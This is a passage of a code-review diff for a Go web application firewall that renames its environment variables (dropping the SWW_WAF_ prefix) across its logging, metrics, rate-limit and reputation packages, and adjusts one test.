Reason: "the lookup database cannot be read, and the one read before stays in use",
Detail: map[string]any{
"file": path,
"error": "SWW_WAF_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
"error": "SWW_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
"error opening database: invalid MaxMind DB file",
},
})
internal/lookup/lookup.go
+2 -2
View File
@@ -1,6 +1,6 @@
// Package lookup looks up each client's AS number and country, through
// the GeoJS web service or in the lookup database, the IPinfo Lite file
// SWW_WAF_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
// SWW_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
// most 100,000 clients and for 7 days each, and are written to
// lookups.json and read from it by the state package.
package lookup
@@ -66,7 +66,7 @@ type Params struct {
URL string
// Timeout is how long a request waits for its client's first answer,
// and how long a request to GeoJS may take before it is abandoned
// (SWW_WAF_LOOKUP_TIMEOUT).
// (SWW_LOOKUP_TIMEOUT).
Timeout time.Duration
// Wait is true when a setting needs each request's answer before the
// request goes on. Otherwise no request waits for one.
internal/metrics/busiest.go
+1 -1
View File
@@ -42,7 +42,7 @@ type busiest struct {
func newCountries(topN int) *busiest {
countries := newBusiest(topN, "country", "the client's country")
countries.refused = counterVec("sww_country_list_refusals_total",
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
[]string{"country"})
return countries
internal/metrics/metrics.go
+10 -10
View File
@@ -62,8 +62,8 @@ type Metrics struct {
// New returns the metrics, with the Go runtime's and the process's own.
// topN is how many countries and how many AS numbers get series of their
// own (SWW_WAF_METRICS_TOP_N). Every metric carries instanceName
// (SWW_WAF_INSTANCE_NAME) as its label instance.
// own (SWW_METRICS_TOP_N). Every metric carries instanceName
// (SWW_INSTANCE_NAME) as its label instance.
//
//nolint:funlen // a few lines for each metric, a list that grows with them
func New(topN int, instanceName string) *Metrics {
@@ -102,7 +102,7 @@ func New(topN int, instanceName string) *Metrics {
offences: counterVec("sww_offences_total",
"Offences, by kind.", []string{"kind"}),
coreRuleSetMatches: counterVec("sww_core_rule_set_matches_total",
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_CORE_RULE_SET_MODE "+
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+
"and the rule's id.", []string{"mode", "rule_id"}),
countries: newCountries(topN),
asns: newASNs(topN),
@@ -214,13 +214,13 @@ func (m *Metrics) AddRules(ruleFiles *rules.Files) {
}
// AddRemoteLog adds the metrics of sending the log lines to
// SWW_WAF_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
// SWW_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
// lines sent, those dropped, and those waiting in the buffer.
func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
m.registry.MustRegister(
prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_remote_log_lines_sent_total",
Help: "Log lines sent to SWW_WAF_LOG_REMOTE_URL.",
Help: "Log lines sent to SWW_LOG_REMOTE_URL.",
}, func() float64 {
return float64(remote.Sent())
}),
@@ -313,7 +313,7 @@ func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL
// AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb,
// read from abuseIPDB as the metrics are asked for: the checks made, those
// that failed, and how many checks the day's budget has left. It is
// called once, after AddReputation, while SWW_WAF_ABUSEIPDB_KEY is set.
// called once, after AddReputation, while SWW_ABUSEIPDB_KEY is set.
func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource}
@@ -322,7 +322,7 @@ func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "sww_reputation_daily_budget_remaining",
Help: "Checks of the day's SWW_WAF_ABUSEIPDB_DAILY_BUDGET not yet spent.",
Help: "Checks of the day's SWW_ABUSEIPDB_DAILY_BUDGET not yet spent.",
ConstLabels: source,
}, func() float64 {
return float64(abuseIPDB.BudgetLeft())
@@ -363,8 +363,8 @@ func (m *Metrics) AddAlerts(queue *alerts.Queue) {
}),
prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_alerts_suppressed_total",
Help: "Alerts held back: repeats within SWW_WAF_ALERT_COOLDOWN, and " +
"alerts past SWW_WAF_ALERT_MAX_PER_HOUR, for the hour's summary.",
Help: "Alerts held back: repeats within SWW_ALERT_COOLDOWN, and " +
"alerts past SWW_ALERT_MAX_PER_HOUR, for the hour's summary.",
ConstLabels: destination,
}, func() float64 {
return float64(queue.Suppressed())
@@ -442,7 +442,7 @@ func (m *Metrics) RuleMatched(id, action string) {
}
// CoreRuleSetMatched counts a request that matched the Core Rule Set's rule id,
// with SWW_WAF_CORE_RULE_SET_MODE at mode.
// with SWW_WAF_MODE at mode.
func (m *Metrics) CoreRuleSetMatched(mode string, id int) {
m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
}
internal/ratelimit/ratelimit.go
+2 -2
View File
@@ -2,7 +2,7 @@
// and bytes counted over a minute, an hour and a day, as the "Counting
// method" section of SPEC.md describes, which tell when a request takes
// the client over a rate limit or a byte limit, and each client's history
// since it was first seen. At most SWW_WAF_MAX_TRACKED_CLIENTS clients are
// since it was first seen. At most SWW_MAX_TRACKED_CLIENTS clients are
// kept, in memory, and written to clients.json and read from it by the
// state package.
package ratelimit
@@ -157,7 +157,7 @@ type Request struct {
}
// New returns a Limiter for limits, with no client counted yet, whose
// table holds at most maxClients clients (SWW_WAF_MAX_TRACKED_CLIENTS). Past
// table holds at most maxClients clients (SWW_MAX_TRACKED_CLIENTS). Past
// it, the least recently seen client is dropped, with its history, and
// starts afresh if it comes back.
func New(limits Limits, maxClients int) *Limiter {
internal/ratelimit/ratelimit_test.go
+1 -1
View File
@@ -13,7 +13,7 @@ import (
const limit = 3
// tableSize is the most clients the tests' tables hold, the default of
// SWW_WAF_MAX_TRACKED_CLIENTS.
// SWW_MAX_TRACKED_CLIENTS.
const tableSize = 20000
// whole is the percentage of each limit a client gets when nothing lowers
internal/remotelog/remotelog.go
+8 -8
View File
@@ -1,5 +1,5 @@
// Package remotelog sends the lines sww writes on stdout to the
// remote log endpoint, SWW_WAF_LOG_REMOTE_URL, as the "Request log" section
// remote log endpoint, SWW_LOG_REMOTE_URL, as the "Request log" section
// of SPEC.md describes: each line as the message of an RFC 5424 syslog
// record, over UDP, TCP or TLS. Lines wait in a bounded buffer, so a slow
// or unreachable endpoint never holds up a request or stdout.
@@ -24,7 +24,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The forms of SWW_WAF_LOG_REMOTE_URL, by its scheme.
// The forms of SWW_LOG_REMOTE_URL, by its scheme.
const (
SchemeUDP = "syslog+udp"
SchemeTCP = "syslog+tcp"
@@ -56,18 +56,18 @@ const (
// Params are what New needs.
type Params struct {
// URL is the endpoint (SWW_WAF_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
// URL is the endpoint (SWW_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
// SchemeTLS, a host and a port.
URL *url.URL
// RootCAs are the certificates a SchemeTLS endpoint's certificate
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
// must chain to (SWW_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
RootCAs *x509.CertPool
// Buffer is the most lines held while they wait to be sent
// (SWW_WAF_LOG_REMOTE_BUFFER).
// (SWW_LOG_REMOTE_BUFFER).
Buffer int
// Facility is the number of the records' syslog facility
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
// (SWW_WAF_LOG_REMOTE_APP_NAME).
// (SWW_LOG_REMOTE_FACILITY), and AppName their APP-NAME
// (SWW_LOG_REMOTE_APP_NAME).
Facility int
AppName string
}
@@ -243,7 +243,7 @@ func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn {
}
}
processLog.Warn("sending to SWW_WAF_LOG_REMOTE_URL failed",
processLog.Warn("sending to SWW_LOG_REMOTE_URL failed",
"error", err.Error(), "connecting_again_in", delay.String())
select {
internal/remotelog/remotelog_test.go
+1 -1
View File
@@ -586,7 +586,7 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
var fields map[string]any
err := json.Unmarshal([]byte(line), &fields)
if err != nil || fields["msg"] != "sending to SWW_WAF_LOG_REMOTE_URL failed" {
if err != nil || fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
t.Fatalf("logged %q", line)
}
internal/reputation/abuseipdb.go
+5 -5
View File
@@ -58,17 +58,17 @@ type Checks struct {
// AbuseIPDBParams are what NewAbuseIPDB needs.
type AbuseIPDBParams struct {
// URL is where clients are checked, normally AbuseIPDBURL, with Key,
// the account's key (SWW_WAF_ABUSEIPDB_KEY).
// the account's key (SWW_ABUSEIPDB_KEY).
URL string
Key string
// MinScore is the least score that is a hit (SWW_WAF_ABUSEIPDB_MIN_SCORE),
// MinScore is the least score that is a hit (SWW_ABUSEIPDB_MIN_SCORE),
// and DailyBudget the most checks made in a day, in UTC
// (SWW_WAF_ABUSEIPDB_DAILY_BUDGET).
// (SWW_ABUSEIPDB_DAILY_BUDGET).
MinScore int64
DailyBudget int
// CacheTTL is how long a score is used after it was fetched
// (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a check may take
// (SWW_WAF_REPUTATION_TIMEOUT).
// (SWW_REPUTATION_CACHE_TTL), and Timeout how long a check may take
// (SWW_REPUTATION_TIMEOUT).
CacheTTL time.Duration
Timeout time.Duration
// Now tells the time, normally time.Now in UTC.
internal/reputation/dnsbl.go
+7 -7
View File
@@ -53,15 +53,15 @@ type Verdict struct {
// DNSBLParams are what NewDNSBL needs.
type DNSBLParams struct {
// Zones are the DNSBL zones clients are asked about in
// (SWW_WAF_DNSBL_ZONES).
// (SWW_DNSBL_ZONES).
Zones []string
// Resolver is the resolver they are asked through
// (SWW_WAF_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
// (SWW_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
// host's, as /etc/resolv.conf names it.
Resolver netip.AddrPort
// CacheTTL is how long a verdict is used after it was fetched
// (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a query may take
// (SWW_WAF_REPUTATION_TIMEOUT).
// (SWW_REPUTATION_CACHE_TTL), and Timeout how long a query may take
// (SWW_REPUTATION_TIMEOUT).
CacheTTL time.Duration
Timeout time.Duration
// Now tells the time, normally time.Now in UTC.
@@ -127,13 +127,13 @@ func NewDNSBL(params DNSBLParams) *DNSBL {
}
}
// Zones returns the zones, in the order SWW_WAF_DNSBL_ZONES names them.
// Zones returns the zones, in the order SWW_DNSBL_ZONES names them.
func (d *DNSBL) Zones() []string {
return slices.Clone(d.params.Zones)
}
// ListedBy returns the zones whose verdict on addr, a client's address,
// lists it, in the order SWW_WAF_DNSBL_ZONES names them, each with its key
// lists it, in the order SWW_DNSBL_ZONES names them, each with its key
// masked, as config.MaskZoneKey masks it, since they go to the request
// log, the alerts and the metrics. A verdict is used until CacheTTL has
// passed since it was fetched. Each zone without one is asked about addr
@@ -210,7 +210,7 @@ func (d *DNSBL) Snapshot() []Verdict {
}
// Load keeps verdicts, read from reputation.json, in place of those it
// keeps, but for those of a zone SWW_WAF_DNSBL_ZONES does not name, and,
// keeps, but for those of a zone SWW_DNSBL_ZONES does not name, and,
// past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
// more is neither used nor written, as for any verdict.
func (d *DNSBL) Load(verdicts []Verdict) {
internal/reputation/dnsbl_test.go
+3 -3
View File
@@ -40,8 +40,8 @@ const (
// zone and otherZone are the DNSBL zones the tests name.
zone = "dnsbl.example"
otherZone = "other.example"
// cacheTTL is the tests' SWW_WAF_REPUTATION_CACHE_TTL, and timeout their
// SWW_WAF_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
// cacheTTL is the tests' SWW_REPUTATION_CACHE_TTL, and timeout their
// SWW_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
// can have Go's resolver wait for one server, so that it is the
// DNSBL's own timeout that ends a query, whatever that file says.
cacheTTL = 24 * time.Hour
@@ -419,7 +419,7 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
dnsbl := reputation.NewDNSBL(p)
// The last verdict still in use, one fetched a TTL ago, and one of a
// zone SWW_WAF_DNSBL_ZONES does not name.
// zone SWW_DNSBL_ZONES does not name.
inUse := reputation.Verdict{
Zone: zone, Client: netip.MustParseAddr(listed), Listed: true,
Fetched: now.Add(-cacheTTL + time.Nanosecond),
internal/reputation/reputation.go
+12 -12
View File
@@ -1,11 +1,11 @@
// Package reputation fetches the lists the settings name by URL: the
// blocklists of SWW_WAF_BLOCKLIST_URLS, the file of AS:percent lines
// SWW_WAF_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_WAF_TAG_LISTS, and
// the decision list of the CrowdSec engine SWW_WAF_CROWDSEC_LAPI_URL names. It
// blocklists of SWW_BLOCKLIST_URLS, the file of AS:percent lines
// SWW_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_TAG_LISTS, and
// the decision list of the CrowdSec engine SWW_CROWDSEC_LAPI_URL names. It
// keeps the last good copy of
// each, whole, comment lines included, which is used while a fetch fails,
// and when each was last tried. It also asks the DNSBL zones of
// SWW_WAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks
// SWW_DNSBL_ZONES about clients, and keeps their verdicts, and checks
// clients with AbuseIPDB, and keeps their scores and the checks spent
// today. The state package writes all of these to reputation.json and
// reads them from it, so that a restart keeps them too.
@@ -67,20 +67,20 @@ type List struct {
// Params are what New needs.
type Params struct {
// BlocklistURLs are the blocklists (SWW_WAF_BLOCKLIST_URLS), and
// BlocklistURLs are the blocklists (SWW_BLOCKLIST_URLS), and
// ASNLimitPercentURL the file of AS:percent lines
// (SWW_WAF_ASN_LIMIT_PERCENT_URL), "" while it is unset.
// (SWW_ASN_LIMIT_PERCENT_URL), "" while it is unset.
BlocklistURLs []string
ASNLimitPercentURL string
// TagLists are the address lists that add a tag (SWW_WAF_TAG_LISTS).
// TagLists are the address lists that add a tag (SWW_TAG_LISTS).
TagLists []config.TagList
// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
// SWW_WAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
// (SWW_WAF_CROWDSEC_LAPI_KEY).
// SWW_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
// (SWW_CROWDSEC_LAPI_KEY).
CrowdSecDecisionsURL string
CrowdSecKey string
// Refresh is how long after a list was last fetched or tried it is
// fetched again (SWW_WAF_BLOCKLIST_REFRESH), but for the CrowdSec decision
// fetched again (SWW_BLOCKLIST_REFRESH), but for the CrowdSec decision
// list, which is fetched again crowdSecRefresh after.
Refresh time.Duration
// Now tells the time, normally time.Now in UTC.
@@ -155,7 +155,7 @@ func New(params Params) *Lists {
}
// URLs returns the URL of every list: the blocklists' in the order
// SWW_WAF_BLOCKLIST_URLS names them, then SWW_WAF_ASN_LIMIT_PERCENT_URL, then the
// SWW_BLOCKLIST_URLS names them, then SWW_ASN_LIMIT_PERCENT_URL, then the
// tag lists', then the CrowdSec decision list's.
func (l *Lists) URLs() []string {
urls := slices.Clone(l.params.BlocklistURLs)
@@ -175,7 +175,7 @@ func (l *Lists) URLs() []string {
}
// ListedBy returns the URLs of the blocklists whose copy lists addr, in
// the order SWW_WAF_BLOCKLIST_URLS names them.
// the order SWW_BLOCKLIST_URLS names them.
func (l *Lists) ListedBy(addr netip.Addr) []string {
l.mu.Lock()
defer l.mu.Unlock()
internal/reputation/reputation_test.go
+3 -3
View File
@@ -34,8 +34,8 @@ const (
dropURL = "https://lists.example/drop.txt"
torURL = "https://lists.example/tor.txt"
asnURL = "https://lists.example/asn.txt"
// refresh is the tests' SWW_WAF_BLOCKLIST_REFRESH, and cooldown their
// SWW_WAF_ALERT_COOLDOWN, longer than it.
// refresh is the tests' SWW_BLOCKLIST_REFRESH, and cooldown their
// SWW_ALERT_COOLDOWN, longer than it.
refresh = 24 * time.Hour
cooldown = 48 * time.Hour
// drop is a blocklist as the Spamhaus DROP list is written, with an
@@ -116,7 +116,7 @@ func TestClientIsListedByEachBlocklistThatListsIt(t *testing.T) {
}}
lists := start(t, servers, params(torURL, dropURL))
// In the order SWW_WAF_BLOCKLIST_URLS names them.
// In the order SWW_BLOCKLIST_URLS names them.
wantListedBy(t, lists, "203.0.113.9", torURL, dropURL)
wantListedBy(t, lists, "203.0.113.8", dropURL)
})
internal/requestlog/requestlog.go
+9 -9
View File
@@ -43,17 +43,17 @@ const (
ActionBlockedByBlockRule = "blocked_by_block_rule"
// ActionBlockedByCoreRuleSet is a request refused because the Core Rule
// Set scored it at or over SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
// Set scored it at or over SWW_WAF_ANOMALY_THRESHOLD.
ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set"
// ActionClientDenied is a request refused because its client is in
// SWW_WAF_DENY_NETS, in a blocklist while SWW_WAF_BLOCKLIST_ACTION is deny,
// SWW_DENY_NETS, in a blocklist while SWW_BLOCKLIST_ACTION is deny,
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
// SWW_WAF_REPUTATION_ACTION is deny, or that carries a tag in SWW_WAF_TAG_DENY.
// SWW_REPUTATION_ACTION is deny, or that carries a tag in SWW_TAG_DENY.
ActionClientDenied = "client_denied"
// ActionCountryDenied is a request refused because its client's country
// is not in SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES.
// is not in SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
ActionCountryDenied = "country_denied"
// ActionOwnEndpoint is a request discriminator answered at one of its own
// endpoints, or a question about a path under /_sww/.
@@ -125,7 +125,7 @@ type Line struct {
ContentType string `json:"content_type,omitempty"`
// ContentLength is the length of its body the request announced.
ContentLength int64 `json:"content_length,omitempty"`
// RequestHeaders are the headers SWW_WAF_LOG_REQUEST_HEADERS names that
// RequestHeaders are the headers SWW_LOG_REQUEST_HEADERS names that
// the request carried, by name in lower case.
RequestHeaders map[string]string `json:"request_headers,omitempty"`
HasAuthorization bool `json:"has_authorization,omitempty"`
@@ -188,7 +188,7 @@ type Line struct {
Reputation []string `json:"reputation,omitempty"`
// Tags are the request's tags, sorted.
Tags []string `json:"tags,omitempty"`
// RouteWatchTagsMissing, while SWW_WAF_ROUTEWATCH_URL is set, says why the
// RouteWatchTagsMissing, while SWW_ROUTEWATCH_URL is set, says why the
// request got no tags from routewatch: no_answer_yet, request_failed or
// no_route.
RouteWatchTagsMissing string `json:"routewatch_tags_missing,omitempty"`
@@ -232,7 +232,7 @@ type RProxyLine struct {
DurationRequestMS float64 `json:"duration_request_ms"`
DurationResponseMS float64 `json:"duration_response_ms"`
// Disposition is the valid disposition discriminator answered or, while
// DefaultDisposition is true, the value of SWW_RPROXY_DEFAULT_DISPOSITION. It is ""
// DefaultDisposition is true, the value of SWRP_DEFAULT_DISPOSITION. It is ""
// when neither gave one.
Disposition string `json:"disposition,omitempty"`
DefaultDisposition bool `json:"default_disposition,omitempty"`
@@ -284,8 +284,8 @@ func Milliseconds(d time.Duration) float64 {
// NewProcessLogger returns the logger for the process's own messages:
// JSON lines on w, marked "type":"process", with the time in the same form
// as a request line's, and instanceName, SWW_WAF_INSTANCE_NAME, as instance.
// It writes only the messages at level, SWW_WAF_LOG_LEVEL, or more severe;
// as a request line's, and instanceName, SWW_INSTANCE_NAME, as instance.
// It writes only the messages at level, SWW_LOG_LEVEL, or more severe;
// the request lines Write writes are never held back.
func NewProcessLogger(
w io.Writer,
internal/routewatch/routewatch.go
+1 -1
View File
@@ -67,7 +67,7 @@ type Route struct {
// Params are what New needs.
type Params struct {
// URL is where routewatch is (SWW_WAF_ROUTEWATCH_URL).
// URL is where routewatch is (SWW_ROUTEWATCH_URL).
URL string
// Now tells the time, normally time.Now in UTC.
Now func() time.Time
internal/routewatch/routewatch_test.go
+2 -7
View File
@@ -239,17 +239,12 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
}
}
func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) {
func TestRefusedConnectionFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) {
t.Parallel()
f := newFixture(t, answering(routedAnswer))
// Another test can take a closed server's port at once, so routewatch's
// address here is a multicast address, to which TCP cannot connect.
f.client = routewatch.New(routewatch.Params{
URL: "http://224.0.0.1/", Now: f.clk.Now,
ProcessLog: slog.New(slog.NewTextHandler(f.log, nil)),
})
f.server.Close()
f.route()
f.waitFor(routewatch.RequestFailed)
internal/rproxy/bodies.go
+4 -4
View File
@@ -10,16 +10,16 @@ import (
)
// errResponseTooLarge ends an app's response body that is longer than
// SWW_RPROXY_MAX_RESPONSE_SIZE.
// SWRP_MAX_RESPONSE_SIZE.
var errResponseTooLarge = errors.New(
"the response body is over SWW_RPROXY_MAX_RESPONSE_SIZE")
"the response body is over SWRP_MAX_RESPONSE_SIZE")
// requestBody is the visitor's request body. rproxy first reads up to the first
// 64 KiB of it into held, and then, on its way to the app, the transport reads
// it on a goroutine of its own.
type requestBody struct {
// body is the visitor's body, ending in an *http.MaxBytesError past
// SWW_RPROXY_MAX_REQUEST_SIZE.
// SWRP_MAX_REQUEST_SIZE.
body io.ReadCloser
rq *request
// held is the part read before the request goes to the app, which Read gives
@@ -68,7 +68,7 @@ func (b *requestBody) Close() error {
// responseBody is the app's response body on its way to the visitor.
type responseBody struct {
// body is the app's body, ending in an *http.MaxBytesError past
// SWW_RPROXY_MAX_RESPONSE_SIZE.
// SWRP_MAX_RESPONSE_SIZE.
body io.ReadCloser
rq *request
}
Loaded 100 of 118 files, more files were not shown because too many files have changed in this diff. Show more